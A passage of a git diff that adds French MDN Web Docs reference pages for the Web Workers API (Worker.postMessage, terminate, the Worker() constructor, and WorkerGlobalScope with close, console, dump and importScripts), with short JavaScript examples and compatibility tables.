+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> myWorker <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">ChromeWorker</span><span class="punctuation token">(</span>self<span class="punctuation token">.</span>path <span class="operator token">+</span> <span class="string token">'myWorker.js'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">handleMessageFromWorker</span><span class="punctuation token">(</span><span class="parameter token">msg</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'incoming message from worker, msg:'</span><span class="punctuation token">,</span> msg<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">switch</span> <span class="punctuation token">(</span>msg<span class="punctuation token">.</span>data<span class="punctuation token">.</span>aTopic<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">case</span> <span class="string token">'do_sendMainArrBuff'</span><span class="punctuation token">:</span>
+            <span class="function token">sendMainArrBuff</span><span class="punctuation token">(</span>msg<span class="punctuation token">.</span>data<span class="punctuation token">.</span>aBuf<span class="punctuation token">)</span>
+            <span class="keyword token">break</span><span class="punctuation token">;</span>
+        <span class="keyword token">default</span><span class="punctuation token">:</span>
+            <span class="keyword token">throw</span> <span class="string token">'no aTopic on incoming message to ChromeWorker'</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+myWorker<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'message'</span><span class="punctuation token">,</span> handleMessageFromWorker<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Ok lets create the buffer and send it</span>
+<span class="keyword token">var</span> arrBuf <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">ArrayBuffer</span><span class="punctuation token">(</span><span class="number token">8</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">info</span><span class="punctuation token">(</span><span class="string token">'arrBuf.byteLength pre transfer:'</span><span class="punctuation token">,</span> arrBuf<span class="punctuation token">.</span>byteLength<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+myWorker<span class="punctuation token">.</span><span class="function token">postMessage</span><span class="punctuation token">(</span>
+    <span class="punctuation token">{</span>
+        aTopic<span class="punctuation token">:</span> <span class="string token">'do_sendWorkerArrBuff'</span><span class="punctuation token">,</span>
+        aBuf<span class="punctuation token">:</span> arrBuf <span class="comment token">// The array buffer that we passed to the transferrable section 3 lines below</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span>
+    <span class="punctuation token">[</span>
+        arrBuf <span class="comment token">// The array buffer we created 9 lines above</span>
+    <span class="punctuation token">]</span>
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">info</span><span class="punctuation token">(</span><span class="string token">'arrBuf.byteLength post transfer:'</span><span class="punctuation token">,</span> arrBuf<span class="punctuation token">.</span>byteLength<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="Worker_code">Worker code</h4>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">self<span class="punctuation token">.</span><span class="function function-variable token">onmessage</span> <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="parameter token">msg</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">switch</span> <span class="punctuation token">(</span><span class="parameter token">msg<span class="punctuation token">.</span>data<span class="punctuation token">.</span>aTopic</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">case</span> <span class="string token">'do_sendWorkerArrBuff'</span><span class="punctuation token">:</span>
+               <span class="function token"> sendWorkerArrBuff</span><span class="punctuation token">(</span>msg<span class="punctuation token">.</span>data<span class="punctuation token">.</span>aBuf<span class="punctuation token">)</span>
+            <span class="keyword token">break</span><span class="punctuation token">;</span>
+        <span class="keyword token">default</span><span class="punctuation token">:</span>
+            <span class="keyword token">throw</span> <span class="string token">'no aTopic on incoming message to ChromeWorker'</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">sendWorkerArrBuff</span><span class="punctuation token">(</span><span class="parameter token">aBuf</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">info</span><span class="punctuation token">(</span><span class="string token">'from worker, PRE send back aBuf.byteLength:'</span><span class="punctuation token">,</span> aBuf<span class="punctuation token">.</span>byteLength<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    self<span class="punctuation token">.</span><span class="function token">postMessage</span><span class="punctuation token">(</span><span class="punctuation token">{</span>aTopic<span class="punctuation token">:</span><span class="string token">'do_sendMainArrBuff'</span><span class="punctuation token">,</span> aBuf<span class="punctuation token">:</span>aBuf<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="punctuation token">[</span>aBuf<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    console<span class="punctuation token">.</span><span class="function token">info</span><span class="punctuation token">(</span><span class="string token">'from worker, POST send back aBuf.byteLength:'</span><span class="punctuation token">,</span> aBuf<span class="punctuation token">.</span>byteLength<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Output_logged">Output logged</h4>
+
+<pre class="line-numbers language-html"><code class="language-html">arrBuf.byteLength pre transfer: 8                              bootstrap.js:40
+arrBuf.byteLength post transfer: 0                             bootstrap.js:42
+
+from worker, PRE send back aBuf.byteLength: 8                  myWorker.js:5:2
+
+incoming message from worker, msg: message { ... }             bootstrap.js:20
+got back buf in main thread, aBuf.byteLength: 8                bootstrap.js:12
+
+from worker, POST send back aBuf.byteLength: 0                 myWorker.js:7:2</code></pre>
+
+<p><code>byteLength</code> passe à 0 quand il est transferré. Pour voir l'exemple de cette extension de démonstration de Firefox, voir <a href="https://github.com/Noitidart/ChromeWorker/tree/aca57d9cadc4e68af16201bdecbfb6f9a6f9ca6b">GitHub :: ChromeWorker - demo-transfer-arraybuffer</a></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.Worker.postMessage")}}</p>
+[1] Internet Explorer ne supporte pas les objets {{domxref("Transferable")}}.</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("Worker")}} auquel il appartient.</li>
+</ul>
diff --git a/files/fr/web/api/worker/terminate/index.html b/files/fr/web/api/worker/terminate/index.html
new file mode 100644
index 0000000000..6565192498
--- /dev/null
+++ b/files/fr/web/api/worker/terminate/index.html
@@ -0,0 +1,58 @@
+---
+title: Worker.terminate()
+slug: Web/API/Worker/terminate
+translation_of: Web/API/Worker/terminate
+---
+<p>{{ apiref("Worker") }}</p>
+
+<p>La méthode <code> <strong>terminate()</strong></code> de l'interface {{domxref("Worker")}} termine immédiatement le {{domxref("Worker")}}. Cette interruption ne permet pas au worker de finaliser ses opérations, il est juste arrêté sur le champ.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myWorker.terminate();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Néant.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre la création d'un objet {{domxref("Worker")}} en utilisant le constructeur {{domxref("Worker.Worker", "Worker()")}}, qui est alors immédiatement interrompu.</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+myWorker.terminate();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-terminate", "Worker.terminate()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.Worker.terminate")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("Worker")}} à laquelle elle appartient.</p>
diff --git a/files/fr/web/api/worker/worker/index.html b/files/fr/web/api/worker/worker/index.html
new file mode 100644
index 0000000000..34717d9a21
--- /dev/null
+++ b/files/fr/web/api/worker/worker/index.html
@@ -0,0 +1,88 @@
+---
+title: Worker()
+slug: Web/API/Worker/Worker
+tags:
+  - API
+  - Reference
+translation_of: Web/API/Worker/Worker
+---
+<p>{{APIRef("Worker")}}</p>
+
+<p>Le constructeur <code><strong>Worker()</strong></code> crée un objet {{domxref("Worker")}} qui exécute le script à l'URL spécifiée. Ce script doit obéir à la <a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: il y a un désaccord entre les éditeurs de navigateur sur la question de savoir si une donnée URI relève ou non de la même origine. Bien que Gecko 10.0 {{ geckoRelease("10.0") }} et suivant accepte les données URIs, ce n'est pas le cas dans tous les autres navigateurs.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myWorker = new Worker(aURL, options);</pre>
+
+<h3 id="Arguments">Arguments</h3>
+
+<dl>
+ <dt><em>aURL</em></dt>
+ <dd>Est un {{domxref("DOMString")}} représentant l'URL du script que le worker va exécuter. Il doit obéir à la same-origin policy.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>
+ <p>Un objet contenant des propriétés pour définir les options. Les propriétés suivantes sont valables:</p>
+
+ <ul>
+  <li><code>type</code>: Une {{domxref("DOMString")}} définissant le type de worker à créer. The valeur peuvent être <code>classic</code> ou <code>module</code>. Si cette prpriété n'est pas définie, la valeur sera <code>classic</code>.</li>
+  <li><code>credentials</code>: Une {{domxref("DOMString")}} définissant le type de politique d'origine à utiliser pour le <em>worker</em>. Les valeurs peuvent être <dfn><code>omit</code></dfn>, <code><dfn>same-origin</dfn></code> ou <dfn><code>include</code>. </dfn>Si cette propriété n'est pas définie, ou que type est défini à <code>classic</code>, la valeur sera <code>classic</code>.</li>
+  <li><code>name</code>: Une {{domxref("DOMString")}} définissant un identifiant pour l'environment du worker {{domxref("DedicatedWorkerGlobalScope")}}, souvent utilisé pour le débogage.<span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>SecurityError</code> est levé si le document n'est pas autorisé à démarer des <em>workers</em>; par exemple si l'URL à une syntaxe invalide ou que la politique d'origine n'est pas respectée.</li>
+ <li><code>NetworkError</code> est levé si le type MIME du script du worker est incorect. Il doit toujours être défini à <code>text/javascript</code>.</li>
+ <li><code>SyntaxError</code> est levé si l'URL ne peut pas être analysée.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant illustre la création d'un objet {{domxref("Worker")}} en utilisant le constructeur <code>Worker()</code> et l'usage qui peut alors en être fait :</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message envoyé au worker');
+}</pre>
+
+<p>Pour un exemple complet, consultez notre <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Exemple basique d'un worker dédié </a>(<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">lancer le worker dédié</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker", "Worker()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Worker.Worker")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Remarque:</strong> Un navigateur peut indiquer avoir un support complet de <code>Worker()</code> même s'il ne supporte pas les fichiers worker écrit comme des modules. À partir du premier août 2019, aucun navigateur n'est connu pour avoir un support en production des fichiers <em>worker</em> écrit comme des modules. Sans ces suppports, les fichiers <em>workers</em> écrit sous forme de module et les modules utilisés dans les workers doivent être transpilés ou convertis en non-module pour être utilisables.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("Worker")}} auquel il appartient.</p>
diff --git a/files/fr/web/api/workerglobalscope/close/index.html b/files/fr/web/api/workerglobalscope/close/index.html
new file mode 100644
index 0000000000..4d02224a9d
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/close/index.html
@@ -0,0 +1,34 @@
+---
+title: WorkerGlobalScope.close()
+slug: Web/API/WorkerGlobalScope/close
+translation_of: Web/API/WorkerGlobalScope/close
+---
+<p>{{APIRef("Web Workers API")}}{{obsolete_header}}</p>
+
+<p>La méthode <code><strong>close()</strong></code> de l'interface {{domxref("WorkerGlobalScope")}} annule toutes les tâches en attente dans la boucle d'événements du <code>WorkerGlobalScope</code>, mettant fin alors à ce contexte précis.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">self.close();</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Si vous souhaitez fermer votre instance de worker au sein du worker lui-même, vous pouvez appeler la méthode comme suit :</p>
+
+<pre class="brush: js">close();</pre>
+
+<p><code>close()</code> et <code>self.close()</code> sont effectivement équivalentes — les deux expressions correspondent à un appel de la méthode <code>close()</code> à partir du contexte local du worker.</p>
+
+<div class="note">
+<p><strong>Remarque</strong>: il y a également une façon de stopper le worker à partir du thread principal: la méthode {{domxref("Worker.terminate")}}.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.close")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("WorkerGlobalScope")}}</p>
diff --git a/files/fr/web/api/workerglobalscope/console/index.html b/files/fr/web/api/workerglobalscope/console/index.html
new file mode 100644
index 0000000000..f045e26b62
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/console/index.html
@@ -0,0 +1,50 @@
+---
+title: WorkerGlobalScope.console
+slug: Web/API/WorkerGlobalScope/console
+tags:
+  - API
+  - Propriété
+  - Reference
+  - Web Workers
+  - WorkerGlobalScope
+  - lecture seule
+translation_of: Web/API/WorkerGlobalScope/console
+---
+<p>{{APIRef("Web Workers API")}}{{Non-standard_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>console</strong></code> de l'interface {{domxref("WorkerGlobalScope")}} retourne un objet {{domxref("Console")}} donnant accès à la console du navigateur pour le worker.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var consoleObj = self.console;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("Console")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cette propriété vous permet d'avoir accès à la console du navigateur à des fins de débogage dans un worker. Par exemple, vous pouvez appeler</p>
+
+<pre class="brush: js">console.log('test');</pre>
+
+<p>dans un worker (qui est tout simplement l'équivalent de <code>self.console.log('test');</code>, car appelé dans le contexte du worker, qui peut être référencé par {{domxref("WorkerGlobalScope.self")}}), afin de retourner un message de test dans la console du navigateur.</p>
+
+<p>Si vous appelez <code>console.log()</code> depuis un {{domxref("DedicatedWorkerGlobalScope")}} ou un autre contexte qui agit sur une seule fenêtre chargée, la console de l'onglet correspondant recevra le message. En revanche, si vous appelez <code>console.log()</code> depuis un {{domxref("SharedWorkerGlobalScope")}}, la console globale du navigateur recevra le message.</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<p>Ne fait pas encore parti d'une spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.console")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Console")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/fr/web/api/workerglobalscope/dump/index.html b/files/fr/web/api/workerglobalscope/dump/index.html
new file mode 100644
index 0000000000..8a6d9e31f2
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/dump/index.html
@@ -0,0 +1,52 @@
+---
+title: WorkerGlobalScope.dump()
+slug: Web/API/WorkerGlobalScope/dump
+translation_of: Web/API/WorkerGlobalScope/dump
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<div class="blockIndicator warning">
+<p><span class="pl-s1"><span class="pl-s">Cette fonctionnalité n'est ni standard, ni en voie de standardisation. Ne l'utilisez pas pour des sites accessibles sur le Web : elle ne fonctionnera pas pour tout utilisateur. Il peut également y avoir d'importantes incompatibilités entre les implémentations et son comportement peut être modifié dans le futur.</span></span></p>
+</div>
+
+<p>La méthode <code><strong>dump()</strong></code> de l'interface {{domxref("WorkerGlobalScope")}} permet d'écrire des messages vers <code>stdout</code> — i.e. dans le terminal, seulement sur Firefox. C'est la même chose que {{domxref("window.dump")}} dans Firefox, mais pour les <em>worker</em>s.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">dump('Mon message\n');</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<p>Une {{domxref("DOMString")}} contenant le message que vous voulez envoyer.</p>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Rien.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Pour écrire quelque chose depuis votre <em>worker</em> vers votre terminal, vous devez d'abord ouvrir une instance de Firefox depuis votre invité de commande ou terminal. Par exemple, sous Mac OS X vous le lancer en utilisant quelque chose comme (en supposant que vous êtes dans le répertoire de l'application):</p>
+
+<pre class="brush: bash">./Firefox.app/Contents/MacOS/firefox-bin -profile /tmp -no-remote</pre>
+
+<p>Maintenant allez dans <code>about:config</code> et activez la préférence <code>browser.dom.window.dump.enabled</code>.</p>
+
+<p>Après, lancez un worker contenant la ligne suivante:</p>
+
+<pre class="brush: js">dump('test\n');</pre>
+
+<p>Vous devriez observer le message «test» apparaître dans le terminal.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode n’apparaît dans aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.dump")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("WorkerGlobalScope")}}</p>
diff --git a/files/fr/web/api/workerglobalscope/importscripts/index.html b/files/fr/web/api/workerglobalscope/importscripts/index.html
new file mode 100644
index 0000000000..1ec7ac124b
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/importscripts/index.html
@@ -0,0 +1,73 @@
+---
+title: WorkerGlobalScope.importScripts()
+slug: Web/API/WorkerGlobalScope/importScripts
+translation_of: Web/API/WorkerGlobalScope/importScripts
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La méthode <code><strong>importScripts()</strong></code> de l'interface synchrome {{domxref("WorkerGlobalScope")}} importe un ou plusieurs scripts dans l'environnement du worker.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">self.importScripts('foo.js');
+self.importScripts('foo.js', 'bar.js', ...);</pre>
+
+<h3 id="Specifications" name="Specifications">Paramètres</h3>
+
+<p>Une liste d'objets {{domxref("DOMString")}} séparés par des virgules et représentant les scripts à importer.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Rien.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Importer un script qui n'est pas servi avec un type MIME valide. (i.e. <code>text/javascript</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Si vous disposez d'un code présent dans un script indépendant appelé <code>foo.js</code> que vous souhaitez utiliser à l'intérieur de worker.js, vous pouvez l'importer de la façon suivante:</p>
+
+<pre class="brush: js">importScripts('foo.js');</pre>
+
+<p><code>importScripts()</code> et <code>self.importScripts()</code> sont effectivement équivalentes — les deux expressions correspondent à la façon d'appeler <code>importScripts()</code> au sein du contexte local du worker.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-workerglobalscope-importscripts', 'importScripts()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">he compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.WorkerGlobalScope.importScripts")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("WorkerGlobalScope")}}</p>
diff --git a/files/fr/web/api/workerglobalscope/index.html b/files/fr/web/api/workerglobalscope/index.html
new file mode 100644
index 0000000000..56d0b2210c
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/index.html
@@ -0,0 +1,254 @@
+---
+title: WorkerGlobalScope
+slug: Web/API/WorkerGlobalScope
+tags:
+  - API
+  - Interface
+  - Reference
+  - TopicStub
+  - WorkerGlobalScope
+  - Workers
+translation_of: Web/API/WorkerGlobalScope
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>L'interface <code><strong>WorkerGlobalScope</strong></code> de l'<a href="/en-US/docs/Web/API/Web_Workers_API">API Web Workers</a> est une interface représentant la portée de tout worker. Les Workers n'ont pas de contexte de navigation; cette portée contient les informations généralement véhiculées par les objets {{domxref("Window")}} — dans ce cas les gestionnaires d'événements, la console ou l'objet {{domxref("WorkerNavigator")}} associé. Chaque <code>WorkerGlobalScope</code> a sa propre boucle d'événements.</p>
+
+<p>Cette interface est généralement spécialisée par chaque type de worker : {{domxref("DedicatedWorkerGlobalScope")}} pour les workers dédiés, {{domxref("SharedWorkerGlobalScope")}} pour les workers partagés, et {{domxref("ServiceWorkerGlobalScope")}} pour <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker</a>. La propriété <code>self</code> renvoie la portée spécialisée pour chaque contexte.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de l'interface {{domxref("EventTarget")}} et implémente les propriétés de {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, et {{domxref("WindowEventHandlers")}}.</em></p>
+
+<h3 id="Propriétés_standard">Propriétés standard</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie le {{domxref("WorkerNavigator")}} associé au worker. C'est un objet navigator spécifique, principalement un sous-ensemble de {{domxref("Navigator")}} pour la navigation dans les portées, mais adapté aux workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope.self")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie une référence au <code>WorkerGlobalScope</code> lui-même. La plupart du temps, il s'agit d'une portée spécifique comme {{domxref("DedicatedWorkerGlobalScope")}},  {{domxref("SharedWorkerGlobalScope")}} ou {{domxref("ServiceWorkerGlobalScope")}}.</dd>
+ <dt>{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie le {{domxref("WorkerLocation")}} associé au worker. Il s'agit d'un objet de localisation spécifique, principalement un sous-ensemble de {{domxref ("Location")}} pour les portées de navigation, mais adapté aux workers.</dd>
+</dl>
+
+<h3 id="Propriétés_non_standard">Propriétés non standard</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Renvoie la {{domxref ("Performance")}} associée au worker. Il s'agit d'un objet de performance standard, sauf que seul un sous-ensemble de sa propriété et de ses méthodes est disponible pour les nœuds de calcul.</dd>
+ <dt>{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}} {{Non-standard_inline}}</dt>
+ <dd>Renvoie la {{domxref("Console")}} associée au worker.</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévénements">Gestionnaires d'événements</h3>
+
+<p>Cette interface hérite des gestionnaires d'événements de l'interface {{domxref ("EventTarget")}} et implémente les gestionnaires d'événements de {{domxref ("WindowTimers")}} et {{domxref ("WindowBase64")}}.</p>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.onerror")}}</dt>
+ <dd>Est un {{domxref ("EventHandler")}} représentant le code à appeler lorsque l'événement {{event ("error")}} est déclenché.</dd>
+ <dt>{{domxref("WorkerGlobalScope.onoffline")}}</dt>
+ <dd>Est un {{domxref ("EventHandler")}} représentant le code à appeler lorsque l'événement {{event ("offline")}} est déclenché.</dd>
+ <dt>{{domxref("WorkerGlobalScope.ononline")}}</dt>
+ <dd>Est un {{domxref ("EventHandler")}} représentant le code à appeler lorsque l'événement {{event ("online")}} est déclenché.</dd>
+ <dt>{{domxref("WorkerGlobalScope.onlanguagechange")}}</dt>
+ <dd>Un {{domxref ("EventHandler")}} déclenché sur l'objet de portée global / worker lorsque les langues préférées de l'utilisateur changent.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.onclose")}} {{Non-standard_inline}}</dt>
+ <dd>Est un {{domxref ("EventHandler")}} représentant le code à appeler lorsque l'événement {{event ("close")}} est déclenché.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Cette interface hérite des méthodes de l'interface {{domxref ("EventTarget")}} et implémente les méthodes de {{domxref ("WindowTimers")}}, {{domxref ("WindowBase64")}}, {{domxref ("WindowEventHandlers")}} et {{domxref ("GlobalFetch")}}.</p>
+
+<h3 id="Méthodes_standard">Méthodes standard</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.close()")}}</dt>
+ <dd>Ignore toutes les tâches mises en file d'attente dans la boucle d'événements de <code>WorkerGlobalScope</code>, fermant ainsi cette portée particulière.</dd>
+ <dt>{{domxref("WorkerGlobalScope.importScripts()")}}</dt>
+ <dd>Importe un ou plusieurs scripts dans la portée du worker. Vous pouvez en spécifier autant que vous le souhaitez, séparés par des virgules. Par exemple:<code> importScripts('foo.js', 'bar.js');</code></dd>
+</dl>
+
+<h3 id="Méthodes_non_standard">Méthodes non standard</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}</dt>
+ <dd>Vous permet d'écrire un message stdout — c'est-à-dire dans votre terminal. C'est la même chose que {{domxref ("window.dump")}} de Firefox, mais pour les workers.</dd>
+</dl>
+
+<h3 id="Méthodes_mises_en_œuvre_dailleurs">Méthodes mises en œuvre d'ailleurs</h3>
+
+<dl>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Décode une chaîne de données qui a été encodée à l'aide d'un encodage base 64.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Crée une chaîne ASCII encodée en base 64 à partir d'une chaîne de données binaires.</dd>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Annule l'exécution répétée définie à l'aide de {{domxref ("WindowTimers.setInterval ()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Annule l'exécution répétée définie à l'aide de {{domxref ("WindowTimers.setTimeout ()")}}.</dd>
+ <dt>{{domxref("GlobalFetch.fetch()")}}</dt>
+ <dd>Démarre le processus de récupération d'une ressource.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Planifie l'exécution d'une fonction toutes les X millisecondes.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Définit un délai pour l'exécution d'une fonction.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
